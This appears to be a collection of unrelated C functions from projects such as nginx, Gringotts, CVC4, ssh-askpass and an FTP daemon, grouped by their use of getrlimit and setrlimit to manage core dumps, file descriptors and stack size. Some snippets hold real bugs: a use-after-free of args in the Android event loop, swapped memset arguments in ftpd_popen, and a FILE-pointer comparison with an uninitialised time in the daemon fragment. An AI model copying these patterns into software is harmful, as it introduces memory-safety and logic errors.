if(rl.rlim_max == RLIM_INFINITY) rl.rlim_max = 1024; for(i=0; i<rl.rlim_max; ++i) close(i); printf("rlimit_max:%d\n",rl.rlim_max); /* * Attach file descriptors 0, 1 and 2 to /dev/null */ fd0 = open("/dev/null", O_RDWR); fd1 = dup(0); fd2 = dup(0); /* * Initialize to log file. */ #if 1 printf("before openlog\n"); openlog(cmd, LOG_CONS, LOG_DAEMON); printf("after openlog\n"); if(fd0 != 0 || fd1 != 1 || fd2 != 2) { syslog(LOG_ERR, "unexpected file descriptors %d %d %d", fd0, fd1, fd2); printf("fd error\n"); exit(1); } #endif #if 0 FILE* fp; time_t t; while(1) { sleep(60); fp = fopen(cmd,"a"); if(fp >= 0) fprintf(fp, "im here %s\n", asctime(localtime(&t))); fclose(fp); } #endif }
gboolean grg_security_filter(gboolean rootCheck) { gint canary; struct rlimit *rl; #ifdef ENV_CHECK regex_t regexp1, regexp2; gchar *display, *xauth; #endif gchar *lang; gchar *htab; if (!rootCheck && (!getuid() || !geteuid())) // forbid usage as root user { #ifdef ROOT_FILTER g_critical("%s %s", _ ("For security reasons, you cannot run Gringotts as root user."), _ ("Try to compile with --disable-root-filter in ./configure")); #else g_critical("%s %s", _ ("For security reasons, you cannot run Gringotts as root user."), _("Try using -s")); #endif return FALSE; } // set and check core dump generation rl = (struct rlimit *) grg_malloc(sizeof(struct rlimit)); rl->rlim_cur = rl->rlim_max = 0; setrlimit(RLIMIT_CORE, rl); getrlimit(RLIMIT_CORE, rl); if (rl->rlim_cur || rl->rlim_max) // no need to give any message, it // should be impossible return FALSE; g_free(rl); // checks that stderr, stdin & stdout are opened canary = open("/dev/null", O_RDONLY); if (canary < 3) { g_critical("%s", _ ("stdin, stdout and/or stderr are invalid. Cannot continue.")); close(canary); return FALSE; } close(canary); // extract needed environmental vars, validate, erase environment, // and re-set them (see Secure Programming HowTo, sect.4.2) // extract lang = getenv("LANG"); htab = getenv("HTAB"); #ifdef ENV_CHECK display = getenv("DISPLAY"); xauth = getenv("XAUTHORITY"); // validate regcomp(®exp1, "[[:alpha:]][[:alnum:]_,+@\\-\\.=]*", REG_EXTENDED); regcomp(®exp2, "[[:digit:]{1,3}\\.[:digit:]{1,3}\\.[:digit:]{1,3}\\.[:digit:]{1,3}]?:[[:digit:]\\.]+", REG_EXTENDED); if (((lang != NULL) && (regexec(®exp1, lang, 0, NULL, 0))) || ((xauth != NULL) && (!g_file_test(xauth, G_FILE_TEST_EXISTS))) || ((display != NULL) && (regexec(®exp2, display, 0, NULL, 0)))) { g_critical("%s", _ ("Invalid environment variables. They could have been manipulated.")); return FALSE; } #endif // don't know why, but it seems necessary setlocale(LC_ALL, lang); mapIsUTF = g_get_charset(NULL); #ifdef ENV_CHECK // erase #ifdef HAVE_CLEARENV clearenv(); #else #ifdef HAVE_ENVIRON { extern char **environ; environ = NULL; } #endif #endif // re-set (warning: don't free() the g_strconcat'ed strings) if (lang != NULL) putenv(g_strconcat("LANG=", lang, NULL)); if (htab != NULL) putenv(g_strconcat("HTAB=", htab, NULL)); putenv(g_strconcat("DISPLAY=", display, NULL)); if (xauth != NULL) putenv(g_strconcat("XAUTHORITY=", xauth, NULL)); putenv(g_strconcat("HOME=", g_get_home_dir(), NULL)); #endif // necessary to handle files correctly if (!mapIsUTF) putenv("G_BROKEN_FILENAMES=1"); // this enables a stronger check on malloc() routines #ifdef MAINTAINER_MODE putenv("MALLOC_CHECK_=2"); #else putenv("MALLOC_CHECK_=0"); #endif // initializes the security level indicator if (!(geteuid() && getegid() && getuid() && getgid())) change_sec_level(GRG_UNSAFE); #ifdef HAVE_MLOCKALL if (!mem_safe) change_sec_level(GRG_UNSAFE); #endif if (!ptrace_safe) change_sec_level(GRG_UNSAFE); #ifndef ENV_CHECK change_sec_level(GRG_UNSAFE); #endif if (grg_ctx_get_security_lvl(gctx) != GRG_SEC_PARANOIA) change_sec_level(GRG_SLIGHTLY_UNSAFE); #ifndef ROOT_FILTER if (safety_level == GRG_SAFE) change_sec_level(GRG_SLIGHTLY_UNSAFE); #endif return TRUE; }
int main(int argc, char *argv[]) { odph_linux_pthread_t thread_tbl[MAX_WORKERS]; appl_args_t params; int core_count, num_workers; odp_cpumask_t cpumask; char cpumaskstr[64]; struct rlimit rlp; getrlimit(RLIMIT_CORE, &rlp); printf("RLIMIT_CORE: %ld/%ld\n", rlp.rlim_cur, rlp.rlim_max); rlp.rlim_cur = 200000000; printf("Setting to max: %d\n", setrlimit(RLIMIT_CORE, &rlp)); /* Parse and store the application arguments */ parse_args(argc, argv, ¶ms); /* Print both system and application information */ print_info(NO_PATH(argv[0]), ¶ms); if (odp_init_global(NULL, NULL)) { OFP_ERR("Error: ODP global init failed.\n"); exit(EXIT_FAILURE); } if (odp_init_local(ODP_THREAD_CONTROL)) { OFP_ERR("Error: ODP local init failed.\n"); exit(EXIT_FAILURE); } core_count = odp_cpu_count(); num_workers = core_count; if (params.core_count) num_workers = params.core_count; if (num_workers > MAX_WORKERS) num_workers = MAX_WORKERS; /* * By default core #0 runs Linux kernel background tasks. * Start mapping thread from core #1 */ memset(&app_init_params, 0, sizeof(app_init_params)); app_init_params.linux_core_id = 0; if (core_count > 1) num_workers--; #if ODP_VERSION < 104 num_workers = odp_cpumask_def_worker(&cpumask, num_workers); #else num_workers = odp_cpumask_default_worker(&cpumask, num_workers); #endif odp_cpumask_to_str(&cpumask, cpumaskstr, sizeof(cpumaskstr)); printf("Num worker threads: %i\n", num_workers); printf("first CPU: %i\n", odp_cpumask_first(&cpumask)); printf("cpu mask: %s\n", cpumaskstr); app_init_params.if_count = params.if_count; app_init_params.if_names = params.if_names; app_init_params.pkt_hook[OFP_HOOK_LOCAL] = fastpath_local_hook; if (ofp_init_global(&app_init_params)) { OFP_ERR("Error: OFP global init failed.\n"); exit(EXIT_FAILURE); } memset(thread_tbl, 0, sizeof(thread_tbl)); /* Start dataplane dispatcher worker threads */ odph_linux_pthread_create(thread_tbl, &cpumask, default_event_dispatcher, ofp_eth_vlan_processing); /* other app code here.*/ /* Start CLI */ ofp_start_cli_thread(app_init_params.linux_core_id, params.conf_file); /* multicast test */ ofp_multicast_thread(app_init_params.linux_core_id); odph_linux_pthread_join(thread_tbl, num_workers); printf("End Main()\n"); return 0; }
// ngx_event_core_module模块的init_module()回调函数。 static ngx_int_t ngx_event_module_init(ngx_cycle_t *cycle) { void ***cf; u_char *shared; size_t size, cl; ngx_shm_t shm; ngx_time_t *tp; ngx_core_conf_t *ccf; ngx_event_conf_t *ecf; cf = ngx_get_conf(cycle->conf_ctx, ngx_events_module); ecf = (*cf)[ngx_event_core_module.ctx_index]; if (!ngx_test_config && ngx_process <= NGX_PROCESS_MASTER) { ngx_log_error(NGX_LOG_NOTICE, cycle->log, 0, "using the \"%s\" event method", ecf->name); } ccf = (ngx_core_conf_t *) ngx_get_conf(cycle->conf_ctx, ngx_core_module); ngx_timer_resolution = ccf->timer_resolution; #if !(NGX_WIN32) { ngx_int_t limit; struct rlimit rlmt; // 如果进程可以打开的最大句柄数小于进程的最大连接数,打印警告。 if (getrlimit(RLIMIT_NOFILE, &rlmt) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "getrlimit(RLIMIT_NOFILE) failed, ignored"); } else { if (ecf->connections > (ngx_uint_t) rlmt.rlim_cur && (ccf->rlimit_nofile == NGX_CONF_UNSET || ecf->connections > (ngx_uint_t) ccf->rlimit_nofile)) { limit = (ccf->rlimit_nofile == NGX_CONF_UNSET) ? (ngx_int_t) rlmt.rlim_cur : ccf->rlimit_nofile; ngx_log_error(NGX_LOG_WARN, cycle->log, 0, "%ui worker_connections exceed " "open file resource limit: %i", ecf->connections, limit); } } } #endif /* !(NGX_WIN32) */ if (ccf->master == 0) { return NGX_OK; } if (ngx_accept_mutex_ptr) { return NGX_OK; } /* cl should be equal to or greater than cache line size */ cl = 128; size = cl /* ngx_accept_mutex */ + cl /* ngx_connection_counter */ + cl; /* ngx_temp_number */ #if (NGX_STAT_STUB) size += cl /* ngx_stat_accepted */ + cl /* ngx_stat_handled */ + cl /* ngx_stat_requests */ + cl /* ngx_stat_active */ + cl /* ngx_stat_reading */ + cl /* ngx_stat_writing */ + cl; /* ngx_stat_waiting */ #endif shm.size = size; shm.name.len = sizeof("nginx_shared_zone"); shm.name.data = (u_char *) "nginx_shared_zone"; shm.log = cycle->log; if (ngx_shm_alloc(&shm) != NGX_OK) { return NGX_ERROR; } shared = shm.addr; ngx_accept_mutex_ptr = (ngx_atomic_t *) shared; ngx_accept_mutex.spin = (ngx_uint_t) -1; if (ngx_shmtx_create(&ngx_accept_mutex, (ngx_shmtx_sh_t *) shared, cycle->lock_file.data) != NGX_OK) { return NGX_ERROR; } ngx_connection_counter = (ngx_atomic_t *) (shared + 1 * cl); (void) ngx_atomic_cmp_set(ngx_connection_counter, 0, 1); ngx_log_debug2(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "counter: %p, %d", ngx_connection_counter, *ngx_connection_counter); ngx_temp_number = (ngx_atomic_t *) (shared + 2 * cl); tp = ngx_timeofday(); ngx_random_number = (tp->msec << 16) + ngx_pid; #if (NGX_STAT_STUB) ngx_stat_accepted = (ngx_atomic_t *) (shared + 3 * cl); ngx_stat_handled = (ngx_atomic_t *) (shared + 4 * cl); ngx_stat_requests = (ngx_atomic_t *) (shared + 5 * cl); ngx_stat_active = (ngx_atomic_t *) (shared + 6 * cl); ngx_stat_reading = (ngx_atomic_t *) (shared + 7 * cl); ngx_stat_writing = (ngx_atomic_t *) (shared + 8 * cl); ngx_stat_waiting = (ngx_atomic_t *) (shared + 9 * cl); #endif return NGX_OK; }
int main(int argc, char **argv) { AppInfo app; XEvent event; XineramaScreenInfo *screens; int nscreens; memset(&app, 0, sizeof(app)); progclass = "SshAskpass"; app.toplevelShell = XtAppInitialize(&(app.appContext), progclass, NULL, 0, &argc, argv, defaults, NULL, 0); app.argc = argc; app.argv = argv; app.dpy = XtDisplay(app.toplevelShell); app.screen = DefaultScreenOfDisplay(app.dpy); app.rootWindow = RootWindowOfScreen(app.screen); app.black = BlackPixel(app.dpy, DefaultScreen(app.dpy)); app.white = WhitePixel(app.dpy, DefaultScreen(app.dpy)); app.colormap = DefaultColormapOfScreen(app.screen); app.resourceDb = XtDatabase(app.dpy); XtGetApplicationNameAndClass(app.dpy, &progname, &progclass); app.appName = progname; app.appClass = progclass; /* For resources.c. */ db = app.resourceDb; /* Seconds after which keyboard/pointer grab fail. */ app.grabFailTimeout = 5; /* Number of seconds to wait between grab attempts. */ app.grabRetryInterval = 1; app.pid = getpid(); { struct rlimit resourceLimit; int status; status = getrlimit(RLIMIT_CORE, &resourceLimit); if (-1 == status) { fprintf(stderr, "%s[%ld]: getrlimit failed (%s)\n", app.appName, (long) app.pid, strerror(errno)); exit(EXIT_STATUS_ERROR); } resourceLimit.rlim_cur = 0; status = setrlimit(RLIMIT_CORE, &resourceLimit); if (-1 == status) { fprintf(stderr, "%s[%ld]: setrlimit failed (%s)\n", app.appName, (long) app.pid, strerror(errno)); exit(EXIT_STATUS_ERROR); } } app.screen_width = WidthOfScreen(app.screen); app.screen_height = HeightOfScreen(app.screen); app.screen_xoffset = 0; app.screen_yoffset = 0; if (XineramaIsActive(app.dpy) && (screens = XineramaQueryScreens(app.dpy, &nscreens)) != NULL && nscreens) { app.screen_width = screens[0].width; app.screen_height = screens[0].height; app.screen_xoffset = screens[0].x_org; app.screen_yoffset = screens[0].y_org; XFree(screens); } app.xResolution = app.screen_width * 1000 / WidthMMOfScreen(app.screen); app.yResolution = app.screen_height * 1000 / HeightMMOfScreen(app.screen); createDialog(&app); createGCs(&app); app.eventMask = 0; app.eventMask |= ExposureMask; app.eventMask |= ButtonPressMask; app.eventMask |= ButtonReleaseMask; app.eventMask |= Button1MotionMask; app.eventMask |= KeyPressMask; createDialogWindow(&app); XMapWindow(app.dpy, app.dialog->dialogWindow); if (app.inputTimeout > 0) { app.inputTimeoutActive = True; app.inputTimeoutTimerId = XtAppAddTimeOut(app.appContext, app.inputTimeout, handleInputTimeout, (XtPointer) &app); } while(True) { XtAppNextEvent(app.appContext, &event); switch (event.type) { case Expose: grabServer(&app); grabKeyboard(&app); grabPointer(&app); if (event.xexpose.count) { break; } paintDialog(&app); break; case ButtonPress: case ButtonRelease: handleButtonPress(&app, &event); break; case MotionNotify: handlePointerMotion(&app, &event); case KeyPress: handleKeyPress(&app, &event); break; case ClientMessage: if ((32 == event.xclient.format) && ((unsigned long) event.xclient.data.l[0] == app.wmDeleteWindowAtom)) { cancelAction(&app); } break; default: break; } } fprintf(stderr, "%s[%ld]: This should not happen.\n", app.appName, (long) app.pid); return(EXIT_STATUS_ANOMALY); }
static int mygetLimits(struct lsfLimit *limits) { int i; struct rlimit rlimit; for (i = 0; i < LSF_RLIM_NLIMITS; i++) { rlimit.rlim_cur = RLIM_INFINITY; rlimit.rlim_max = RLIM_INFINITY; rlimitEncode_(&limits[i], &rlimit, i); } #ifdef RLIMIT_CPU if (getrlimit(RLIMIT_CPU, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_CPU], &rlimit, LSF_RLIMIT_CPU); #endif #ifdef RLIMIT_FSIZE if (getrlimit(RLIMIT_FSIZE, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_FSIZE], &rlimit, LSF_RLIMIT_FSIZE); #endif #ifdef RLIMIT_DATA if (getrlimit(RLIMIT_DATA, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_DATA], &rlimit, LSF_RLIMIT_DATA); #endif #ifdef RLIMIT_STACK if (getrlimit(RLIMIT_STACK, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_STACK], &rlimit, LSF_RLIMIT_STACK); #endif #ifdef RLIMIT_CORE if (getrlimit(RLIMIT_CORE, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_CORE], &rlimit, LSF_RLIMIT_CORE); #endif #ifdef RLIMIT_NOFILE if (getrlimit(RLIMIT_NOFILE, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_NOFILE], &rlimit, LSF_RLIMIT_NOFILE); #endif #ifdef RLIMIT_OPEN_MAX if (getrlimit(RLIMIT_OPEN_MAX, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_OPEN_MAX], &rlimit, LSF_RLIMIT_OPEN_MAX); #endif #ifdef RLIMIT_VMEM if (getrlimit(RLIMIT_VMEM, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_VMEM], &rlimit, LSF_RLIMIT_VMEM); #endif #ifdef RLIMIT_RSS if (getrlimit(RLIMIT_RSS, &rlimit) < 0) return -1; rlimitEncode_(&limits[LSF_RLIMIT_RSS], &rlimit, LSF_RLIMIT_RSS); #endif return 0; }
static int fdwalk (int (*cb)(void *data, int fd), void *data) { gint open_max; gint fd; gint res = 0; #ifdef HAVE_SYS_RESOURCE_H struct rlimit rl; #endif #ifdef __linux__ DIR *d; if ((d = opendir("/proc/self/fd"))) { struct dirent *de; while ((de = readdir(d))) { glong l; gchar *e = NULL; if (de->d_name[0] == '.') continue; errno = 0; l = strtol(de->d_name, &e, 10); if (errno != 0 || !e || *e) continue; fd = (gint) l; if ((glong) fd != l) continue; if (fd == dirfd(d)) continue; if ((res = cb (data, fd)) != 0) break; } closedir(d); return res; } /* If /proc is not mounted or not accessible we fall back to the old * rlimit trick */ #endif #ifdef HAVE_SYS_RESOURCE_H if (getrlimit(RLIMIT_NOFILE, &rl) == 0 && rl.rlim_max != RLIM_INFINITY) open_max = rl.rlim_max; else #endif open_max = sysconf (_SC_OPEN_MAX); for (fd = 0; fd < open_max; fd++) if ((res = cb (data, fd)) != 0) break; return res; }
/** Initialize the driver. Sets signal handlers for SIGINT and SIGSEGV. */ void cvc4_init() { #ifdef CVC4_DEBUG LastExceptionBuffer::setCurrent(new LastExceptionBuffer()); #endif #ifndef __WIN32__ struct rlimit limit; if(getrlimit(RLIMIT_STACK, &limit)) { throw Exception(string("getrlimit() failure: ") + strerror(errno)); } if(limit.rlim_cur != limit.rlim_max) { limit.rlim_cur = limit.rlim_max; if(setrlimit(RLIMIT_STACK, &limit)) { throw Exception(string("setrlimit() failure: ") + strerror(errno)); } if(getrlimit(RLIMIT_STACK, &limit)) { throw Exception(string("getrlimit() failure: ") + strerror(errno)); } } struct sigaction act1; act1.sa_sigaction = sigint_handler; act1.sa_flags = SA_SIGINFO; sigemptyset(&act1.sa_mask); if(sigaction(SIGINT, &act1, NULL)) { throw Exception(string("sigaction(SIGINT) failure: ") + strerror(errno)); } struct sigaction act2; act2.sa_sigaction = timeout_handler; act2.sa_flags = SA_SIGINFO; sigemptyset(&act2.sa_mask); if(sigaction(SIGXCPU, &act2, NULL)) { throw Exception(string("sigaction(SIGXCPU) failure: ") + strerror(errno)); } struct sigaction act3; act3.sa_sigaction = ill_handler; act3.sa_flags = SA_SIGINFO; sigemptyset(&act3.sa_mask); if(sigaction(SIGILL, &act3, NULL)) { throw Exception(string("sigaction(SIGILL) failure: ") + strerror(errno)); } #ifdef HAVE_SIGALTSTACK stack_t ss; ss.ss_sp = (char*) malloc(SIGSTKSZ); if(ss.ss_sp == NULL) { throw Exception("Can't malloc() space for a signal stack"); } ss.ss_size = SIGSTKSZ; ss.ss_flags = 0; if(sigaltstack(&ss, NULL) == -1) { throw Exception(string("sigaltstack() failure: ") + strerror(errno)); } cvc4StackSize = limit.rlim_cur; cvc4StackBase = ss.ss_sp; struct sigaction act4; act4.sa_sigaction = segv_handler; act4.sa_flags = SA_SIGINFO | SA_ONSTACK; sigemptyset(&act4.sa_mask); if(sigaction(SIGSEGV, &act4, NULL)) { throw Exception(string("sigaction(SIGSEGV) failure: ") + strerror(errno)); } #endif /* HAVE_SIGALTSTACK */ struct sigaction act5; act5.sa_sigaction = sigterm_handler; act5.sa_flags = SA_SIGINFO; sigemptyset(&act5.sa_mask); if (sigaction(SIGTERM, &act5, NULL)) { throw Exception(string("sigaction(SIGTERM) failure: ") + strerror(errno)); } #endif /* __WIN32__ */ set_unexpected(cvc4unexpected); default_terminator = set_terminate(cvc4terminate); }
void *handle_events(void *a) { int sdk; fd_set rfds; fd_set wfds; fd_set efds; struct timespec ts; sigset_t blockset; sigset_t emptyset; struct sigaction sa; struct arguments *args = (struct arguments *) a; log_android(ANDROID_LOG_WARN, "Start events tun=%d thread %x", args->tun, thread_id); // Attach to Java JNIEnv *env; jint rs = (*jvm)->AttachCurrentThread(jvm, &env, NULL); if (rs != JNI_OK) { log_android(ANDROID_LOG_ERROR, "AttachCurrentThread failed"); return NULL; } args->env = env; // Get SDK version sdk = sdk_int(env); int maxsessions = 1024; struct rlimit rlim; if (getrlimit(RLIMIT_NOFILE, &rlim)) log_android(ANDROID_LOG_WARN, "getrlimit error %d: %s", errno, strerror(errno)); else { maxsessions = (int) (rlim.rlim_cur * 50 / 100); log_android(ANDROID_LOG_WARN, "getrlimit soft %d hard %d max sessions %d", rlim.rlim_cur, rlim.rlim_max, maxsessions); } if (maxsessions > FD_SETSIZE) maxsessions = FD_SETSIZE; // Block SIGUSR1 sigemptyset(&blockset); sigaddset(&blockset, SIGUSR1); sigprocmask(SIG_BLOCK, &blockset, NULL); /// Handle SIGUSR1 sa.sa_sigaction = handle_signal; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGUSR1, &sa, NULL); // Terminate existing sessions not allowed anymore check_allowed(args); stopping = 0; signaled = 0; // Loop while (!stopping) { log_android(ANDROID_LOG_DEBUG, "Loop thread %x", thread_id); // Count sessions int isessions = get_icmp_sessions(); int usessions = get_udp_sessions(); int tsessions = get_tcp_sessions(); int sessions = isessions + usessions + tsessions; // Check sessions check_icmp_sessions(args, sessions, maxsessions); check_udp_sessions(args, sessions, maxsessions); check_tcp_sessions(args, sessions, maxsessions); // https://bugzilla.mozilla.org/show_bug.cgi?id=1093893 int idle = (tsessions + usessions + tsessions == 0 && sdk >= 16); log_android(ANDROID_LOG_DEBUG, "sessions ICMP %d UDP %d TCP %d max %d/%d idle %d sdk %d", isessions, usessions, tsessions, sessions, maxsessions, idle, sdk); // Next event time ts.tv_sec = (sdk < 16 ? 5 : get_select_timeout(sessions, maxsessions)); ts.tv_nsec = 0; sigemptyset(&emptyset); // Check if tun is writable FD_ZERO(&rfds); FD_ZERO(&wfds); FD_ZERO(&efds); FD_SET(args->tun, &wfds); if (pselect(args->tun + 1, &rfds, &wfds, &efds, &ts, &emptyset) == 0) { log_android(ANDROID_LOG_WARN, "tun not writable"); continue; } // Select int max = get_selects(args, &rfds, &wfds, &efds); int ready = pselect(max + 1, &rfds, &wfds, &efds, idle ? NULL : &ts, &emptyset); if (ready < 0) { if (errno == EINTR) { if (stopping && signaled) { ; log_android(ANDROID_LOG_WARN, "pselect signaled tun %d thread %x", args->tun, thread_id); report_exit(args, NULL); break; } else { log_android(ANDROID_LOG_DEBUG, "pselect interrupted tun %d thread %x", args->tun, thread_id); continue; } } else if (errno == EBADF) { if (is_valid_fd(args->tun)) { log_android(ANDROID_LOG_ERROR, "pselect error %d: %s", errno, strerror(errno)); report_exit(args, "pselect error %d: %s", errno, strerror(errno)); break; } else { log_android(ANDROID_LOG_ERROR, "tun socket %d select error %d: %s", args->tun, errno, strerror(errno)); report_exit(args, "tun socket %d select error %d: %s", args->tun, errno, strerror(errno)); break; } } else { log_android(ANDROID_LOG_ERROR, "pselect tun %d thread %x error %d: %s", args->tun, thread_id, errno, strerror(errno)); report_exit(args, "pselect tun %d thread %x error %d: %s", args->tun, thread_id, errno, strerror(errno)); break; } } if (ready == 0) log_android(ANDROID_LOG_DEBUG, "pselect timeout"); else { log_android(ANDROID_LOG_DEBUG, "pselect ready %d", ready); if (pthread_mutex_lock(&lock)) log_android(ANDROID_LOG_ERROR, "pthread_mutex_lock failed"); #ifdef PROFILE_EVENTS struct timeval start, end; float mselapsed; gettimeofday(&start, NULL); #endif // Check upstream int error = 0; if (check_tun(args, &rfds, &wfds, &efds, sessions, maxsessions) < 0) error = 1; else { #ifdef PROFILE_EVENTS gettimeofday(&end, NULL); mselapsed = (end.tv_sec - start.tv_sec) * 1000.0 + (end.tv_usec - start.tv_usec) / 1000.0; if (mselapsed > PROFILE_EVENTS) log_android(ANDROID_LOG_WARN, "tun %f", mselapsed); gettimeofday(&start, NULL); #endif // Check ICMP downstream check_icmp_sockets(args, &rfds, &wfds, &efds); // Check UDP downstream check_udp_sockets(args, &rfds, &wfds, &efds); // Check TCP downstream check_tcp_sockets(args, &rfds, &wfds, &efds); } if (pthread_mutex_unlock(&lock)) log_android(ANDROID_LOG_ERROR, "pthread_mutex_unlock failed"); if (error) break; #ifdef PROFILE_EVENTS gettimeofday(&end, NULL); mselapsed = (end.tv_sec - start.tv_sec) * 1000.0 + (end.tv_usec - start.tv_usec) / 1000.0; if (mselapsed > PROFILE_EVENTS) log_android(ANDROID_LOG_WARN, "sockets %f", mselapsed); #endif } } (*env)->DeleteGlobalRef(env, args->instance); // Detach from Java rs = (*jvm)->DetachCurrentThread(jvm); if (rs != JNI_OK) log_android(ANDROID_LOG_ERROR, "DetachCurrentThread failed"); // Cleanup free(args); log_android(ANDROID_LOG_WARN, "Stopped events tun=%d thread %x", args->tun, thread_id); thread_id = 0; return NULL; }
FILE * ftpd_popen(char *program, char *type, int closestderr) { register char *cp; FILE *iop; int argc, gargc, pdes[2], pid; char **pop, *argv[100], *gargv[1000], *vv[2]; extern char **ftpglob(register char *v), **copyblk(register char **v), *strspl(register char *cp, register char *dp); if (*type != 'r' && *type != 'w' || type[1]) return (NULL); if (!pids) { #ifndef HAVE_GETDTABLESIZE struct rlimit rlp; rlp.rlim_cur = rlp.rlim_max = RLIM_INFINITY; if (getrlimit( RLIMIT_NOFILE, &rlp ) ) return(NULL); fds = rlp.rlim_cur; #else if ((fds = getdtablesize()) <= 0) return (NULL); #endif if ((pids = (int *) malloc((u_int) (fds * sizeof(int)))) == NULL) return (NULL); #ifdef USG (void) memset((char *)pids, fds * sizeof(int), 0); #else bzero((char *) pids, fds * sizeof(int)); #endif } if (pipe(pdes) < 0) return (NULL); /* break up string into pieces */ for (argc = 0, cp = program;; cp = NULL) if (!(argv[argc++] = strtok(cp, " \t\n"))) break; /* glob each piece */ gargv[0] = argv[0]; for (gargc = argc = 1; argv[argc]; argc++) { if (!(pop = ftpglob(argv[argc]))) { /* globbing failed */ vv[0] = strspl(argv[argc], ""); vv[1] = NULL; pop = copyblk(vv); } argv[argc] = (char *) pop; /* save to free later */ while (*pop && gargc < 1000) gargv[gargc++] = *pop++; } gargv[gargc] = NULL; iop = NULL; switch (pid = vfork()) { case -1: /* error */ (void) close(pdes[0]); (void) close(pdes[1]); goto pfree; /* NOTREACHED */ case 0: /* child */ if (*type == 'r') { if (pdes[1] != 1) { dup2(pdes[1], 1); if (closestderr) (void) close(2); else dup2(pdes[1], 2); /* stderr, too! */ (void) close(pdes[1]); } (void) close(pdes[0]); } else { if (pdes[0] != 0) { dup2(pdes[0], 0); (void) close(pdes[0]); } (void) close(pdes[1]); } execv(gargv[0], gargv); _exit(1); } /* parent; assume fdopen can't fail... */ if (*type == 'r') { iop = fdopen(pdes[0], type); (void) close(pdes[1]); } else { iop = fdopen(pdes[1], type); (void) close(pdes[0]); } pids[fileno(iop)] = pid; pfree:for (argc = 1; argv[argc] != NULL; argc++) { blkfree((char **) argv[argc]); free((char *) argv[argc]); } return (iop); }
/******************************************************************************* 函数名称: ipsec_dpdns_init_helper 功能描述: 初始化dpdns守护进程 读取域名数据库配置注册 读取连接配置初始化连接 初始化netlink套接字 输入参数: 输出参数: 无 返 回 值: 无 -------------------------------------------------------------------------------- 最近一次修改记录 : 修改作者: lidateng 修改目的: 修改日期: 2013-12-26 *******************************************************************************/ void ipsec_dpdns_init_helper(void) { int res = 0; pid_t pid; int fds[2] = {0}; int start = ipsec_dpdns_start_is_on(); if(start == 0) { goto end; } if(socketpair(PF_UNIX, SOCK_STREAM, 0, fds) != 0) { return; } g_ipsec_dpdns_ffd = fds[0]; if((pid = fork()) < 0) { } else if (pid == 0) { int fd = 0; int maxfd; struct rlimit nf; g_ipsec_dpdns_cfd = fds[1]; if(getrlimit(RLIMIT_NOFILE, &nf) == -1) { maxfd = 256; } else { maxfd = nf.rlim_max; } /*进程关闭不关心的文件描述符*/ for(fd = 3; fd < maxfd; fd++) { if((fd != fds[1]) && (fd != netlink_socket)) { close(fd); } } res = ipsec_dpdns_get_serialnum(); if(res != 0) { return; } ipsec_event_clear(); ipsec_dpdns_cfg_clear(); /*清除域名配置*/ ipsec_init_umc_path(); /*初始化umc地址*/ ipsec_dpdns_req_to_umc(); /*发送域名推送请求*/ init_netlink_socket(); /*初始化接口变换fd*/ ipsec_dpdns_call_server(); /*守护进程主循环*/ } close(fds[1]); end: return; }